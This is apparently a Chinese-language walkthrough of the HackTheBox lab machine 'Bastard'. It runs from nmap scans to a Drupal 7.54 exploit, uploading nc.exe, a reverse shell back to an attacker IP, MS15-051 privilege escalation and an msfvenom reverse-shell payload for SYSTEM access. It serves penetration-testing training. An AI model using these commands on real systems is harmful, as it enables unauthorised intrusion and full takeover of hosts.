Bastard Walkthrough
Bastard Walkthrough
一台不太像 AD 靶机做法的靶机 …
Box Info
官网在这里:Bastard
Bastard is not overly challenging, however it requires some knowledge of PHP in order to modify and use the proof of concept required for initial entry. This machine demonstrates the potential severity of vulnerabilities in content management systems.
The Hack
使用 nmap 进行端口扫描
sudo nmap -p- 10.129.37.166 --min-rate 2500 |
发现 80、135、49154 端口
对开放端口进行应用版本发现
sudo nmap -p 80,135,49154 -sC -sV 10.129.37.166 |
发现 80 端口开放 http 服务同时泄露 robots.txt
在 robots.txt 中发现有趣文件 CHANGELOG.txt
CHANGELOG.txt 泄露版本信息:Drupal 7.54
在这可以发现对应版本漏洞: https://www.exploit-db.com/exploits/41564
更改 url、endpoint_path 和核心漏洞利用代码如下:
|
使用 php 执行代码
php 41564.php |
sudo apt install php-curl
上传成功:
能正常执行脚本:
上传 nc.exe ,在 kali 中位于 /usr/share/windows-resources/binaries/nc.exe
upload=nc.exe |
上传成功
使用 nc.exe 反弹 shell
cmd=nc.exe -e cmd 10.10.14.18 4444 |
成功接收回弹到的 shell
查看系统版本
发现可以利用内核漏洞提权,利用程序网址在这:windows-kernel-exploits/MS15-051 at master · SecWiki/windows-kernel-exploits
上传漏洞利用程序:ms15-051x64.exe
upload=ms15-051x64.exe |
成功上传
在目标主机执行漏洞利用程序,获得 SYSTEM 账户权限
ms15-051x64.exe whoami |
使用 msfvenom 制作反弹 shell 程序并上传
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.18 LPORT=8888 -f exe -o root.exe |
上传成功:
使用漏洞利用程序执行反弹 shell 程序
ms15-051x64.exe root.exe |
本机开启 nc 监听
nc -nvlp 8888 |
获得目标主机 SYSTEM 权限的 shell
在 Administrator 桌面获得 root.txt
在用户 dimitris 桌面获得 user.txt